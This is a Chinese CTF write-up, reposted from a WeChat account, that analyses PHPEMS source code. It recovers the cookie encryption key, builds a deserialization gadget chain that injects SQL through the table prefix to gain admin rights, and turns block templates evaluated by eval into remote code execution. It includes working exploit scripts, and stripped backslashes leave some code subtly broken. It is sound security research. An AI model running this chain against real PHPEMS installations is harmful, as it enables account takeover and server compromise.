扫码领资料
获网安教程
西湖论剑phpems分析
路由分析
看到路由访问规则后,首先先看路由加载的逻辑。有个比较方便的方法是采用Exception类的getTraceAsString来打印堆栈,从而获取函数的调用路径。
D:phpstudy_proWWWphpemsappusercontrollerlogin.app.php:23:string '#0 D:phpstudy_proWWWphpemsappusercontrollerlogin.app.php(16): PHPEMSaction->index()
#1 D:phpstudy_proWWWphpemslibinit.cls.php(110): PHPEMSaction->display()
#2 D:phpstudy_proWWWphpemsindex.php(8): PHPEMSginkgo->run()
#3 {main}' (length=244)
//执行页面
public function run()
{
self::$app = self::$defaultApp;
$ev = self::make('ev');
if($ev->url(0))
{
self::$app = $ev->url(0);
}
self::$module = $ev->url(1);
self::$method = $ev->url(2);
if(!self::$module)self::$module = 'app';
if(!self::$method)self::$method = 'index';
include PEPATH.'/app/'.self::$app.'/'.self::$module.'.php';
$modulefile = PEPATH.'/app/'.self::$app.'/controller/'.self::$method.'.'.self::$module.'.php';
if(file_exists($modulefile))
{
include $modulefile;
$tpl = self::make('tpl');
$tpl->assign('_app',self::$app);
$tpl->assign('method',self::$method);
$run = new action();
$run->display();
}
else die('error:Unknown app to load, the app is '.self::$app);
}
public function __construct()
{
$this->strings = PHPEMSginkgo::make('strings');
if (ini_get('magic_quotes_gpc')) {
$get = $this->stripSlashes($_REQUEST);
$post = $this->stripSlashes($_POST);
$this->cookie = $this->stripSlashes($_COOKIE);
} else {
$get = $_REQUEST;
$post = $_POST;
$this->cookie = $_COOKIE;
}
public function parseUrl()
{
if(isset($_REQUEST['route']))
{
$r = explode('-',$_REQUEST['route']);
foreach($r as $key => $p)
{
$r[$key] = urlencode($p);
}
}
elseif(isset($_SERVER['QUERY_STRING']))
{
$tmp = explode('#',$_SERVER['QUERY_STRING'],2);
$tp = explode('&',$tmp[0],2);
$r = explode('-',$tp[0]);
foreach($r as $key => $p)
{
$r[$key] = urlencode($p);
}
}
else return false;
if(!$r[0] || !file_exists('app/'.$r[0].'/'))
{
$r[0] = PHPEMSginkgo::$defaultApp;
}
if(!file_exists('app/'.$r[0].'/'.$r[1].'.php') || $r[1] == 'auto')
{
$r[1] = 'app';
}
if(!file_exists('app/'.$r[0].'/controller/'.$r[2].'.'.$r[1].'.php'))
{
$r[2] = 'index';
}
if($r[1] == 'app' && $this->isMobile())
{
$r[1] = 'phone';
}
if(!$r[3])$r[3] = 'index';
if(substr($r[3],0,1) == '_')$r[3] = 'index';
return $r;
}
public function url($par)
{
$par = intval($par);
if(isset($this->url[$par]))return $this->url[$par];
else return false;
}
密钥获取
public function encode($info)
{
$info = serialize($info);
$key = CS;
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
public function decode($info)
{
$key = CS;
$info = urldecode($info);
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
$info = unserialize($info);
return $info;
}
a:8:{s:13:"sessionuserid";s:2:"34";s:15:"sessionpassword";s:32:"e10adc3949ba59abbe56e057f20f883e";s:9:"sessionip";s:9:"127.0.0.1";s:14:"sessiongroupid";s:1:"1";s:16:"sessionlogintime";i:1708610036;s:15:"sessionusername";s:4:"test";s:16:"sessiontimelimit";i:1708610036;s:9:"sessionid";s:32:"ef05ad75e9656da99ba42372d756d477";}
a:8:{s:13:"sessionuserid";s:2:"3
function decode1($info,$key=null)
{
if(!$key)
$key = '1hqfx6ticwRxtfviTp940vng!yC^QK^6';
// $info = urldecode(($info));
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
// var_dump($info);
$info = unserialize($info);
return $info;
}
function get_key($cookie){
// $info='10adc3949ba59abbe56e057f20f883e"';
// $enc=substr($cookie,64,32);
$key = 'a:8:{s:13:"sessionuserid";s:2:"2';
$info=urldecode(urldecode($cookie));
$use_info=substr($info,0,32);
$kl = strlen($key);
$il = strlen($use_info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$use_info[$i] = chr(ord($use_info[$i])-ord($key[$p]));
}
for($i=0;$i<128;$i++){
for($j=0;$j<128;$j++){
$use_info[31]=chr($i);
$use_info[28]=chr($j);
if(decode1($info,$use_info)){
return $use_info;
}
}
}
return 'error';
}
//获取会话用户
public function getSessionUser()
{
if($this->sessionuser)return $this->sessionuser;
$cookie = $this->strings->decode($this->ev->getCookie($this->sessionname));
if($cookie['sessionuserid'])
{
$user = $this->getSessionValue();
if($cookie['sessionuserid'] == $user['sessionuserid'] && $cookie['sessionpassword'] == $user['sessionpassword'] && $cookie['sessionip'] == $user['sessionip'])
{
$this->sessionuser = $user;
return $user;
}
}
return false;
}
public function getSessionValue($sessionid = NULL)
{
if(!$sessionid)
{
if(!$this->sessionid)$this->getSessionId();
$sessionid = $this->sessionid;
}
if(!$this->data || !$this->data[$this->sessionid])
{
$data = array(false,'session',array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));
$sql = $this->pdosql->makeSelect($data);
$this->data[$this->sessionid] = $this->db->fetch($sql);
}
return $this->data[$this->sessionid];
}
反序列化链
public function __destruct()
{
$data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));
$sql = $this->pdosql->makeUpdate($data);
$this->db->exec($sql);
if(rand(0,5) > 4)
{
$data = array('session',array(array('AND',"sessionlasttime <= :sessionlasttime","sessionlasttime",intval((TIME - 3600*24*3)))));
$sql = $this->pdosql->makeDelete($data);
$this->db->exec($sql);
}
}
public function makeUpdate($args,$tablepre = NULL)
{
if(!is_array($args))return false;
if($tablepre === NULL)$tb_pre = $this->tablepre;
else $tb_pre = $tablepre;
$tables = $args[0];
$args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]);
if(is_array($tables))
{
$db_tables = array();
foreach($tables as $p)
{
$db_tables[] = "{$tb_pre}{$p} AS $p";
}
$db_tables = implode(',',$db_tables);
}
else
$db_tables = $tb_pre.$tables;
$v = array();
$pars = $args[1];
if(!is_array($pars))return false;
$parsql = array();
foreach($pars as $key => $value)
{
$parsql[] = $key.' = '.':'.$key;
if(is_array($value))$value = serialize($value);
$v[$key] = $value;
}
$parsql = implode(',',$parsql);
$query = $args[2];
if(!is_array($query))$db_query = 1;
else
{
$q = array();
foreach($query as $p)
{
$q[] = $p[0].' '.$p[1].' ';
if(isset($p[2]))
$v[$p[2]] = $p[3];
}
$db_query = '1 '.implode(' ',$q);
}
if(isset($args[3]))
$db_groups = is_array($args[3])?implode(',',$args[3]):$args[3];
else
$db_groups = '';
if(isset($args[4]))
$db_orders = is_array($args[4])?implode(',',$args[4]):$args[4];
else
$db_orders = '';
if(isset($args[5]))
$db_limits = is_array($args[5])?implode(',',$args[5]):$args[5];
else
$db_limits = '';
if($db_limits == false && $db_limits !== false)$db_limits = $this->_mostlimits;
$db_groups = $db_groups?' GROUP BY '.$db_groups:'';
$db_orders = $db_orders?' ORDER BY '.$db_orders:'';
$sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits;
// var_dump(array('sql' => $sql, 'v' => $v));
return array('sql' => $sql, 'v' => $v);
}
<?php
namespace PHPEMS;
class session
{
public $sessionid='1111111';
public function __construct()
{
$this->pdosql = new pdosql;
$this->db = new pepdo();
}
}
class pdosql
{
private $db;
public function __construct()
{
$this->tablepre=' x2_session set sessiongroupid='1' where sessionid='96a0e7fc80194815f509d8ef101f2ab8' -- ';
$this->db =new pepdo();
}
}
class pepdo{
private $linkid = 0;
private $log = 1; //开启日志,位置data/error.log
public function __construct()
{
$this->linkid=0;
}
}
function encode($info,$key=null)
{
$info = serialize($info);
// if(!$key)
// $key = '1hqfx6ticwRxtfviTp940vng!yC^QK^6';
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
$key= '4b394f264dfcdc724a06b9b05c1e59ed';
echo urlencode(encode(array('sessionid'=>'312312312',new session()),$key));
后台RCE
$this->forbidden = array('rpm','exe','hta','php','phpx','asp','aspx','jsp');
//编译模板
public function compileTpl($source)
{
$content = $this->readTpl($source);
$this->compileSeminar($content);
$this->compileBlock($content);
$this->compileTree($content);
$this->compileLoop($content);
$this->compileEval($content);
$this->compileSql($content);
$this->compileIf($content);
$this->compileInclude($content);
$this->compileArray($content);
$this->compileDate($content);
$this->compileRealSubstring($content);
$this->compileSubstring($content);
$this->compileRealVar($content);
$this->compileEnter($content);
$this->compileConst($content);
return $content;
}
public function compileBlock(&$content)
{
$limit = '/{x2;block:(d+)}/';
$content = preg_replace_callback($limit,function($matches){
return "<?php echo $this->exeBlock('{$matches[1]}'); ?>n";
},$content);
}
public function exeBlock($id)
{
PHPEMSginkgo::make('api','content')->parseBlock($id);
}
public function parseBlock($blockid)
{
$block = $this->block->getBlockById($blockid);
if($block['blocktype'] == 1)
{
echo html_entity_decode($block['blockcontent']['content']);
}
elseif($block['blocktype'] == 2)
{
if($block['blockcontent']['app'] == 'content')
{
$args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']);
$blockdata = $this->_getBlockContentList($args);
$tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template'])));
$blockcat = $this->category->getCategoryById($block['blockcontent']['catid']);
$blockcatchildren = $this->category->getCategoriesByArgs(array(array("AND","catparent = :catparent",'catparent',$block['blockcontent']['catid'])));
eval(' ?>'.$tp.'<?php
namespace PHPEMS; ');
}
else
{
$args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']);
$obj = PHPEMSginkgo::make('api',$block['blockcontent']['app']);
if(method_exists($obj,'parseBlock'))
$blockdata = $obj->parseBlock($args);
else
return false;
}
return true;
}
elseif($block['blocktype'] == 3)
{
if($block['blockcontent']['sql'])
{
$sql = array('sql' => str_replace('[TABLEPRE]',DTH,$block['blockcontent']['sql']));
}
else
{
$tables = array_filter(explode(',',$block['blockcontent']['dbtable']));
$querys = array_filter(explode("n",str_replace("r","",html_entity_decode($this->ev->stripSlashes($block['blockcontent']['query'])))));
$args = array();
foreach($querys as $p)
{
$a = explode('|',$p);
if($a[3])
{
if($a[3][0] == '$')
{
$s = stripos($a[3],'[');
$k = substr($a[3],1,$s-1);
$v = substr($a[3],$s,(strlen($a[3]) - $s));
$execode = "$a[3] = "{$this->tpl_var['$k']$v}";";
}
else
{
$k = substr($a[3],2,(strlen($a[3]) - 2));
$execode = "$a[3] = "{$$k}";";
}
eval($execode);
}
$args[] = $a;
}
$data = array(false,$tables,$args,false,$block['blockcontent']['order'],$block['blockcontent']['limit']);
$sql = $this->pdosql->makeSelect($data);
}
$blockdata = $this->db->fetchAll($sql,$block['blockcontent']['index']?$block['blockcontent']['index']:false,$block['blockcontent']['serial']?$block['blockcontent']['serial']:false);
$tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template'])));
eval(' ?>'.$tp.'<?php
namespace PHPEMS; ');
return true;
}
elseif($block['blocktype'] == 4)
{
$tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content'])));
eval(' ?>'.$tp.'<?php
namespace PHPEMS; ');
}
else
return false;
}
private function modify()
{
$page = $this->ev->get('page');
if($this->ev->get('modifyblock'))
{
$blockid = $this->ev->get('blockid');
$args = $this->ev->get('args');
$args['blockcontent'] = $args['blockcontent'];
unset($args['blocktype']);
$this->block->modifyBlock($blockid,$args);
$message = array(
'statusCode' => 200,
"message" => "操作成功",
"target" => "",
"rel" => "",
"callbackType" => "forward",
"forwardUrl" => "index.php?content-master-blocks&page={$page}"
);
exit(json_encode($message));
}
else
{
$blockid = $this->ev->get('blockid');
$block = $this->block->getBlockById($blockid);
$block['blockcontent'] = $this->ev->stripSlashes($block['blockcontent']);
$apps = $this->apps->getAppList();
$blockapps = array();
foreach($apps as $id => $app)
{
$tmp = PHPEMSginkgo::make('api',$app['appid']);
if($tmp && method_exists($tmp,'parseBlock'))
$blockapps[$id] = $app;
}
$this->tpl->assign('block',$block);
$this->tpl->assign('blockapps',$blockapps);
$this->tpl->assign('page',$page);
$this->tpl->display('blocks_modify');
}
}
private function change()
{
$blockid = $this->ev->get('blockid');
$blocktype = $this->ev->get('blocktype');
$this->block->modifyBlock($blockid,array('blocktype' => $blocktype));
$message = array(
'statusCode' => 200,
"message" => "操作成功",
"target" => "",
"rel" => "",
"callbackType" => "forward",
"forwardUrl" => "index.php?content-master-blocks&page={$page}"
);
exit(json_encode($message));
}
触发地点为register处的用户协议。那么后台先将模式类型更改为4,再将恶意代码写入内容即可。恶意代码需要第一行写入命名空间的原因是php命名空间必须是程序脚本的第一条语句。所以若恶意代码不包含命名空间,则会在后续拼接的namespace那报错。
eval(' ?>'.$tp.'<?php namespace PHPEMS; ');
成功rce。
参考文章
文章来源: https://forum.butian.net/share/2784
文章作者:zcy2018
如有侵权请联系我们,我们会进行删除并致歉
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):西湖论剑phpems分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论